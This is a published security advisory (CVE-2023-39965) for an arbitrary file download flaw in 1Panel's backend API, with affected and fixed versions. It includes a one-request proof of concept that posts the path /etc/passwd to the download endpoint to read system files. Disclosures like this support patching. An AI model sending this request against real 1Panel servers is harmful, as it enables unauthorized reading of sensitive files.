Advisory

GHSA-85cf-gj29-f555

Also known as: CVE-2023-39965, GO-2023-2005

Summary

1Panel Arbitrary File Download vulnerability

Details

Summary
Any file downloading vulnerability exists in 1Panel backend.

Details
Authenticated attackers can download arbitrary files through the API interface. This code has unauthorized access.
image

PoC
payload:

POST /api/v1/files/download/bypath HTTP/1.1
Host: ip
Content-Type: application/json

{"path":"/etc/passwd"}

f77959349e96543436eea18283fa75c

Impact
Attackers can freely download the file content on the target system. This will be caused a large amount of information leakage.

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2023-08-10 20:09 UTC
Modified
2026-09-10 03:49 UTC

Affected packages and fixes

github.com/1Panel-dev/1Panel

Go · All systems

Affected

  • introduced 1.4.3, fixed 1.5.0 (semver)

Fixed versions

1.5.0

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences